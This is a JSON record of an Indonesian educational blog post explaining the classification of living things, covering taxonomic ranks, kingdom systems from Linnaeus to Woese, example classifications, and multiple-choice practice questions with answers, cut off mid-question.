{"id":1692,"date":"2025-10-14T09:00:15","date_gmt":"2025-10-14T02:00:15","guid":{"rendered":"https:\/\/www.altaglobalschool.com\/blog\/?p=1692"},"modified":"2026-01-20T06:24:11","modified_gmt":"2026-01-19T23:24:11","slug":"klasifikasi-makhluk-hidup","status":"publish","type":"post","link":"https:\/\/www.altaglobalschool.com\/blog\/klasifikasi-makhluk-hidup","title":{"rendered":"Klasifikasi Makhluk Hidup: Pengertian, Sistem, &#038; Contoh Soal"},"content":{"rendered":"<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"aligncenter size-medium\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/3744a924-52f2-407e-b3cb-ea9853cfa3a1.png\" alt=\"klasifikasi makhluk hidup\" width=\"820\" \/><\/p>\n<blockquote>\n<p style=\"text-align: center;\"><em><span style=\"font-weight: 400;\">Pernahkah kamu melihat hewan-hewan yang satu spesies? Berdasarkan apa mereka dikelompokkan? Yuk, pelajari klasifikasi makhluk hidup!<\/span><\/em><\/p>\n<\/blockquote>\n<p style=\"text-align: center;\">&#8212;<\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kamu pernah hendak memetik jamur? Sekilas jamur itu terlihat segar, tetapi setelahnya kamu ragu apakah jamur itu beracun atau tidak.\u00a0 <\/span><span style=\"font-weight: 400;\">Nah, di situlah klasifikasi makhluk hidup berperan, supaya kita bisa tahu cara mengelompokkan makhluk hidup berdasarkan ciri-cirinya. <\/span><span style=\"font-weight: 400;\">Coba bayangkan kalau tidak ada klasifikasi, bisa jadi kita sulit membedakan mana tumbuhan yang aman dimakan dan mana yang beracun.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Jadi, bagaimana? Kamu sudah ingin belajar tentang apa yang dimaksud dengan klasifikasi makhluk hidup? Juga tujuan, manfaat, sistem, hingga contohnya? Yuk, kita belajar sekarang!<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Pengertian Klasifikasi Makhluk Hidup<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\"><strong>Klasifikasi makhluk hidup adalah<\/strong> <strong>cara mengelompokkan makhluk hidup berdasarkan persamaan dan perbedaannya ke dalam tingkatan tertentu.<\/strong> Proses ini membantu ilmuwan menyusun berbagai jenis makhluk hidup yang beragam agar lebih teratur dan mudah dipahami.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Ilmu yang mempelajari cara mengelompokkan makhluk hidup disebut <strong>taksonomi<\/strong>. Dalam taksonomi, klasifikasi dimulai dari yang paling umum sampai yang paling khusus.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Urutan klasifikasi makhluk hidup dari yang terumum hingga terkhusus yaitu domain, kingdom, filum (untuk hewan) atau diviso (untuk tumbuhan), kelas, ordo, famili, genus, lalu spesies. Berikut piramida urutan klasifikasi makhluk hidup.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"aligncenter size-medium\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/03451c4c-a75d-4063-8382-f44181fb964d.png\" alt=\"urutan klasifikasi makhluk hidup\" width=\"600\" \/><\/p>\n<p style=\"text-align: center;\"><em>Sumber: helpfulprofessor.com<\/em><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sistem klasifikasi modern dikembangkan oleh <strong>Carl Linnaeus<\/strong> dengan binomial nomenklatur, yaitu pemberian nama ilmiah pada makhluk hidup berdasarkan genus dan spesies.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Melalui pemahaman tentang klasifikasi makhluk hidup, kita bisa mengenali ciri-ciri, cara tumbuh, pola hidup, cara makan, cara berkembang biak, dan berbagai hal lain tentang mereka.<\/span><\/p>\n<p style=\"text-align: justify;\"><strong>Baca juga: <a href=\"https:\/\/www.altaglobalschool.com\/blog\/hewan-ovipar-vivipar-dan-ovovivipar\">Apa Perbedaan Hewan Ovipar, Vivipar, dan Ovovivipar?<\/a><\/strong><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Tujuan Klasifikasi Makhluk Hidup<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Mengapa perlu ada pengelompokan atau pengklasifikasian makhluk hidup? Mari mempelajari bersama apa tujuan klasifikasi makhluk hidup.<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>1. Mempermudah Para Ilmuwan Mengenali, Membandingkan, dan Mempelajari Berbagai Jenis Organisme<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Pengelompokan ini menyederhanakan keanekaragaman hayati yang sangat luas menjadi kelompok-kelompok dengan ciri-ciri yang sama. Dengan klasifikasi, ilmuwan dapat mengidentifikasi satu organisme secara spesifik berdasarkan nama dan posisi taksonominya, sehingga tidak perlu mempelajari seluruh organisme secara acak.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Proses klasifikasi memungkinkan ilmuwan untuk lebih mudah mempelajari karakteristik, cara hidup, dan hubungan kekerabatan antar organisme secara sistematis dan terstruktur. Selain itu, klasifikasi memberikan dasar bagi para ilmuwan untuk membandingkan makhluk hidup dengan melihat persamaan dan perbedaan ciri yang dimiliki.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>2. Membantu Memprediksi Sifat atau Karakteristik Suatu Organisme<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Organisme yang dikelompokkan dalam satu takson atau kelompok tertentu biasanya memiliki ciri-ciri fisik, fisiologis, genetik, atau evolusioner yang mirip. Dengan mengetahui kelompok taksonomi suatu organisme, ilmuwan dapat mengantisipasi sifat-sifat yang mungkin dimiliki organisme tersebut berdasarkan kesamaan dengan anggota kelompok lain.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sebagai contoh, jika ada organisme masuk ke dalam satu keluarga yang sudah dikenal punya kemampuan khusus atau bentuk tubuh tertentu, maka organisme baru dalam keluarga itu biasanya punya ciri yang mirip. Selain itu, klasifikasi yang didasarkan pada kekerabatan evolusi membantu ilmuwan menelusuri asal-usul dan hubungan antarspesies.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>3. Menyederhanakan Objek Studi<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Makhluk hidup di bumi jumlahnya sangat banyak dan beragam. Kalau dipelajari satu per satu tentu akan sulit dan butuh waktu lama. Oleh karena itu, pengelompokan makhluk hidup dilakukan. Dengan begitu, kita bisa mempelajarinya lebih mudah karena sudah terbagi dalam kelompok-kelompok kecil yang lebih teratur.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>4. Memberi Nama Makhluk Hidup yang Belum Diketahui Namanya<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Pengklasifikasian makhluk hidup dilakukan agar organisme anonim memiliki nama. Terlebih lagi, penemuan spesies baru terus terjadi. Tentu saja di antara banyak spesies itu, sangat memungkinkan kalau banyak yang belum memiliki nama. Penamaan spesies baru dilakukan agar memudahkan dalam mengenal ciri-ciri spesies tersebut.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Manfaat Klasifikasi Makhluk Hidup<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Setelah mengetahui alasan mengapa diperlukan pengklasifikasian, tentu saja akan ada manfaat yang dihasilkan. Berikut manfaat-manfaat dari pengklasifikasian makhluk hidup.<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>1. Pengenalan Makhluk Hidup Jadi Lebih Mudah<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Klasifikasi membuat objek yang dipelajari lebih teratur sehingga lebih mudah dipahami, terlebih spesies makhluk hidup sangat beragam.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>2. Lebih Mudah Memahami Kekerabatan Makhluk Hidup<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Persamaan dan perbedaan sifat antarmakhluk lebih mudah diidentifikasi, sehingga ilmuwan lebih mudah melakukan penelitian atau kita lebih mudah mengenali makhluk hidup berdasarkan ciri-cirinya.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>3. Cepat Ditemukan Solusi Atas Berbagai Masalah yang Berhubungan dengan Makhluk Hidup<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Dalam beberapa bidang seperti kesehatan, pertanian, dan konservasi, sangat memungkinkan terjadi masalah berkenaan dengan makhluk hidup. Misalnya, seekor sapi mengalami masalah tertentu pada pertumbuhannya, maka cukup mempelajari hewan mamalia.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>4. Lebih Paham tentang Hubungan Interaksi Makhluk Hidup<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kita bisa lebih paham mengenai hubungan interaksi seperti simbiosis, ekosistem, dan rantai makanan.<\/span><\/p>\n<p style=\"text-align: justify;\"><strong>Baca juga: <a href=\"https:\/\/www.altaglobalschool.com\/blog\/ciri-ciri-makhluk-hidup\">Ciri-Ciri Makhluk Hidup, Pengertian &amp; Contohnya<\/a>\u00a0<\/strong><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Dasar-Dasar Klasifikasi Makhluk Hidup<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Dasar-dasar klasifikasi makhluk hidup adalah <strong>prinsip-prinsip yang digunakan untuk mengelompokkan makhluk hidup berdasarkan persamaan dan perbedaan ciri-ciri yang dimiliki.<\/strong> Macam-macam dasar klasifikasi makhluk hidup antara lain sebagai berikut.<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>1. Ciri Fisik<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Ciri fisik merupakan faktor yang paling mudah digunakan untuk mengklasifikasikan makhluk hidup. Contohnya, kucing dan harimau sama-sama termasuk dalam keluarga <\/span><em><span style=\"font-weight: 400;\">Felidae<\/span><\/em><span style=\"font-weight: 400;\"> karena memiliki kemiripan bentuk tubuh, gigi taring yang tajam, serta sifat sebagai hewan karnivora.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>2. Ciri Morfologi dan Anatomi<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Ciri morfologi adalah penampilan luar tubuh suatu organisme, seperti bentuk batang atau akar pada tumbuhan. Sementara itu, ciri anatomi berkaitan dengan struktur bagian dalam tubuh, misalnya ada atau tidaknya sel trakea pada tumbuhan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>3. Ciri Biokimia<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Dasar ini menggunakan komponen kimia dalam tubuh organisme seperti enzim, protein, dan DNA untuk melihat hubungan kekerabatan dan perbedaan antar makhluk hidup.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>4. Manfaat<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Manfaat suatu makhluk hidup juga bisa menjadi dasar klasifikasi, terutama untuk makhluk hidup yang digunakan oleh manusia, seperti tanaman obat atau hewan ternak.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Sistem Klasifikasi Makhluk Hidup<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sistem klasifikasi makhluk hidup yang harus kamu pelajari terdiri dari lima sistem. Sistem ini bertujuan untuk memudahkan ilmuwan mengenali, mempelajari, dan memahami keanekaragaman hayati di bumi.<\/span><\/p>\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"aligncenter size-medium\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/c1837f09-98e8-4211-9b0f-2e3309de6b90.png\" alt=\"sistem klasifikasi makhluk hidup\" width=\"600\" \/><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>1. Sistem 2 Kingdom<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sistem klasifikasi makhluk hidup pertama dipelopori oleh Carolus Linnaeus (1735), bernama Sistem 2 Kingdom. <\/span><span style=\"font-weight: 400;\">Sistem 2 Kingdom mengelompokkan makhluk hidup menjadi <\/span><span style=\"font-weight: 400;\">hewan (<\/span><em><span style=\"font-weight: 400;\">animalia<\/span><\/em><span style=\"font-weight: 400;\">) dan tumbuhan (<\/span><em><span style=\"font-weight: 400;\">plantae<\/span><\/em><span style=\"font-weight: 400;\">). Sistem klasifikasi ini memiliki dasar pengelompokan makhluk hidup berdasarkan ciri, karakteristik, dan kemampuan.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kelompok <\/span><em><span style=\"font-weight: 400;\">animalia<\/span><\/em><span style=\"font-weight: 400;\"> atau hewan tidak bisa membuat makanan sendiri, sehingga mesti dibantu kelompok lain untuk menyediakan makanan mereka. Kelompok tersebut yakni tumbuhan. Selain itu, kelompok hewan bisa berpindah tempat atau bergerak.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Berkebalikan dengan kelompok <\/span><em><span style=\"font-weight: 400;\">animalia<\/span><\/em><span style=\"font-weight: 400;\"> atau hewan, kelompok<\/span><em><span style=\"font-weight: 400;\"> plantae<\/span><\/em><span style=\"font-weight: 400;\"> atau tumbuhan tidak memerlukan bantuan kelompok lain untuk membuat makanan. Mereka bisa membuat makanan sendiri melalui proses fotosintesis dengan bantuan cahaya matahari.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kelompok tumbuhan tidak bisa berpindah tempat. Mereka memiliki keterbatasan gerak seperti mengikuti arah cahaya matahari, contohnya pada bunga matahari.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>2. Kelompok 3 Kingdom<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Dengan ditemukannya mikroskop cahaya, ilmuwan menyadari bahwa ada makhluk hidup berukuran sangat kecil yang hanya tersusun atas satu sel (uniseluler), dan makhluk ini kemudian disebut mikroorganisme.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sistem klasifikasi ini pertama kali dikemukakan oleh Ernst Haeckel pada tahun 1866. Dalam sistem ini, seluruh organisme mikroskopis dan uniseluler dimasukkan ke kingdom baru, yaitu Kingdom Protista. Dengan demikian, sistem klasifikasi tiga kingdom terdiri atas Kingdom Animalia, Plantae, dan Protista.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>3. Sistem 4 Kingdom<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Perkembangan ilmu pengetahuan semakin maju setelah ditemukannya mikroskop elektron. Melalui pengamatan ini, diketahui bahwa organisme mikroskopis uniseluler memiliki perbedaan struktur, yaitu ada yang memiliki membran inti dan ada yang tidak. Oleh karena itu, Herbert Copeland pada tahun 1938 memperkenalkan sistem klasifikasi baru, yaitu sistem klasifikasi empat kingdom.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Dalam sistem klasifikasi empat kingdom, terdapat Kingdom Plantae, Animalia, Protoctista, dan satu kingdom baru, yaitu Monera. Nama Kingdom Protista diganti menjadi Protoctista karena saat itu anggotanya mencakup Protista yang memiliki membran inti serta kelompok jamur. Sementara itu, Kingdom Monera berisi organisme yang sebelumnya termasuk Protista, tetapi ternyata tidak memiliki membran inti.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>4. Sistem 5 Kingdom<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sistem klasifikasi ini dibuat dengan dasar tingkat kerumitan sel, tingkat kerumitan organisme, serta cara makhluk hidup memperoleh makanannya. Sistem ini ditemukan pada tahun 1969 oleh Robert H. Whittaker.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Berdasarkan cara memperoleh makanan, jamur yang awalnya termasuk dalam Kingdom Protoctista kemudian dipisahkan dari kelompok tersebut. Hal ini dilakukan karena cara jamur memperoleh nutrisi berbeda dengan anggota Protoctista lainnya.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Jamur umumnya hidup dengan menguraikan bahan organik dari organisme yang sudah mati, lalu menyerap zat yang dihasilkannya. Sementara itu, anggota Protoctista lain ada yang bisa membuat makanannya sendiri lewat fotosintesis, atau langsung memakan organisme lain.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Dalam sistem klasifikasi lima kingdom, Protoctista kembali disebut Protista. Jadi, sistem ini terdiri atas Kingdom Animalia, Plantae, Monera, Protista, dan Fungi (jamur). Sistem ini cukup lama digunakan sampai akhirnya digantikan dengan sistem klasifikasi tiga domain dan enam kingdom.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>5. Sistem 3 Domian dan 6 Kingdom<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sistem klasifikasi yang terbaru ini dikemukakan oleh Carl Woese (1990). Dalam sistem klasifikasi ini, makhluk hidup dikelompokkan pada tingkatan yang lebih tinggi dari kingdom, yaitu domain. Ada tiga domain yang digunakan saat ini, yaitu Bacteria, Archaea, dan Eukarya.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Ketiga domain tersebut mencakup enam kingdom, yang sebagian besar anggotanya mirip dengan sistem lima kingdom. Perbedaannya, terdapat penambahan satu kingdom baru.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kingdom Monera yang sebelumnya menampung semua jenis bakteri kemudian dipisahkan menjadi dua kingdom berbeda, yaitu Eubacteria dan Archaebacteria. Archaebacteria sendiri berisi kelompok bakteri yang mampu hidup di lingkungan ekstrem.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Dengan demikian, pada sistem klasifikasi tiga domain terdapat Domain Bacteria yang mencakup Kingdom Eubacteria, Domain Archaea yang mencakup Kingdom Archaebacteria, serta Domain Eukarya yang terdiri atas empat kingdom lainnya, yaitu Animalia, Plantae, Protista, dan Fungi.<\/span><\/p>\n<p style=\"text-align: justify;\"><strong>Baca juga: <a href=\"https:\/\/www.altaglobalschool.com\/blog\/apa-itu-virus\">Virus: Pengertian, Struktur, Ciri, Jenis, Bentuk, &amp; Sejarah<\/a>\u00a0<\/strong><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Contoh Klasifikasi Makhluk Hidup<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Supaya kamu lebih terbayang dan pemahamanmu makin mantap, simak beberapa contoh klasifikasi makhluk hidup di bawah ini.<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>1. Manusia (<\/b><em><b>Homo sapiens<\/b><\/em><b>)<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Manusia termasuk ke dalam Kingdom Animalia karena bersifat heterotrof dan multiseluler. Selanjutnya, masuk ke Filum Chordata karena memiliki tulang belakang, Kelas Mammalia karena menyusui anaknya, Ordo Primata, Famili Hominidae, Genus <\/span><em><span style=\"font-weight: 400;\">Homo<\/span><\/em><span style=\"font-weight: 400;\">, dan Spesies <\/span><em><span style=\"font-weight: 400;\">Homo sapiens<\/span><\/em><span style=\"font-weight: 400;\">.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>2. Padi (<\/b><em><b>Oryza sativa<\/b><\/em><b>)<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Padi diklasifikasikan ke dalam Kingdom Plantae karena mampu berfotosintesis. Padi masuk Divisio Spermatophyta (tumbuhan berbiji), Kelas Monocotyledonae (berkeping satu), Ordo Poales, Famili Poaceae, Genus <\/span><em><span style=\"font-weight: 400;\">Oryza<\/span><\/em><span style=\"font-weight: 400;\">, dan Spesies <\/span><em><span style=\"font-weight: 400;\">Oryza sativa<\/span><\/em><span style=\"font-weight: 400;\">.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>3. Kucing (<\/b><em><b>Felis catus<\/b><\/em><b>)<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kucing tergolong dalam Kingdom Animalia karena merupakan hewan multiseluler dan heterotrof. Kemudian, kucing termasuk dalam Filum Chordata karena memiliki tulang belakang, Kelas Mammalia karena menyusui, Ordo Carnivora karena pemakan daging, Famili Felidae, Genus <\/span><em><span style=\"font-weight: 400;\">Felis<\/span><\/em><span style=\"font-weight: 400;\">, dan Spesies <\/span><em><span style=\"font-weight: 400;\">Felis catus<\/span><span style=\"font-weight: 400;\">.<\/span><\/em><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Contoh Soal<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Setelah kamu mempelajari dan memahami materi klasifikasi makhluk hidup, mari pemahamanmu dengan menjawab soal-soal di bawah ini.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">1. Urutan tingkatan takson dari yang tertinggi sampai terendah adalah\u2026<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/p>\n<ol style=\"list-style-type: lower-alpha;\">\n<li><span style=\"font-weight: 400;\">Kingdom &#8211; Filum &#8211; Kelas &#8211; Ordo &#8211; Famili &#8211; Genus &#8211; Spesies<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Spesies &#8211; Genus &#8211; Famili &#8211; Ordo &#8211; Kelas &#8211; Filum &#8211; Kingdom<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Kelas &#8211; Ordo &#8211; Filum &#8211; Kingdom &#8211; Famili &#8211; Genus &#8211; Spesies<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Genus &#8211; Famili &#8211; Ordo &#8211; Spesies &#8211; Kingdom &#8211; Filum &#8211; Kelas<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><b><\/b><\/li>\n<\/ol>\n<p><strong>Jawaban: a<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">2. Sistem klasifikasi yang membagi makhluk hidup menjadi dua kingdom adalah\u2026<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/p>\n<ol style=\"list-style-type: lower-alpha;\">\n<li><span style=\"font-weight: 400;\">Kingdom Plantae dan Animalia<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Kingdom Protista dan Monera<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Kingdom Fungi dan Plantae<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Kingdom Monera dan Animalia<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><b><\/b><\/li>\n<\/ol>\n<p><strong>Jawaban: A<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">3. Kingdom yang beranggotakan organisme prokariotik adalah\u2026<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/p>\n<ol style=\"list-style-type: lower-alpha;\">\n<li><span style=\"font-weight: 400;\">Protista<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Monera<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Fungi<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Plantae<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><b><\/b><\/li>\n<\/ol>\n<p><b>Jawaban: B<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">4. Ciri khas kingdom Animalia adalah\u2026<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/p>\n<ol style=\"list-style-type: lower-alpha;\">\n<li><span style=\"font-weight: 400;\">Bersel satu<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Multiseluler dan heterotrof<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Autotrof dan berklorofil<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Tidak memiliki dinding sel<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><b><\/b><\/li>\n<\/ol>\n<p><strong>Jawaban: B<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">5. Contoh organisme yang termasuk kingdom Protista adalah\u2026<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/p>\n<ol style=\"list-style-type: lower-alpha;\">\n<li><span style=\"font-weight: 400;\">Paramecium<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Cacing pita<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Lumut<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Jamur kuping<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><b><\/b><\/li>\n<\/ol>\n<p><strong>Jawaban: A<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">6. Sistem klasifikasi lima kingdom dikembangkan oleh\u2026<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/p>\n<ol style=\"list-style-type: lower-alpha;\">\n<li><span style=\"font-weight: 400;\">Carl Linnaeus<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Ernst Haeckel<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Robert Whittaker<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Herbert Copeland<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><b><\/b><\/li>\n<\/ol>\n<p><strong>Jawaban: C<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">7. Organisme yang dapat melakukan fotosintesis termasuk dalam kingdom\u2026<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/p>\n<ol style=\"list-style-type: lower-alpha;\">\n<li><span style=\"font-weight: 400;\">Animalia<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Plantae<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Monera<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Fungi<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><b><\/b><\/li>\n<\/ol>\n<p><strong>Jawaban: B<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">8. Urutan yang benar dari domain ke spesies adalah\u2026<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/p>\n<ol style=\"list-style-type: lower-alpha;\">\n<li><span style=\"font-weight: 400;\">Domain &#8211; Kingdom &#8211; Filum &#8211; Kelas &#8211; Ordo &#8211; Famili &#8211; Genus &#8211; Spesies<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Kingdom &#8211; Domain &#8211; Filum &#8211; Kelas &#8211; Ordo &#8211; Famili &#8211; Genus &#8211; Spesies<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Kelas &#8211; Domain &#8211; Kingdom &#8211; Filum &#8211; Ordo &#8211; Famili &#8211; Genus &#8211; Spesies<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Domain &#8211; 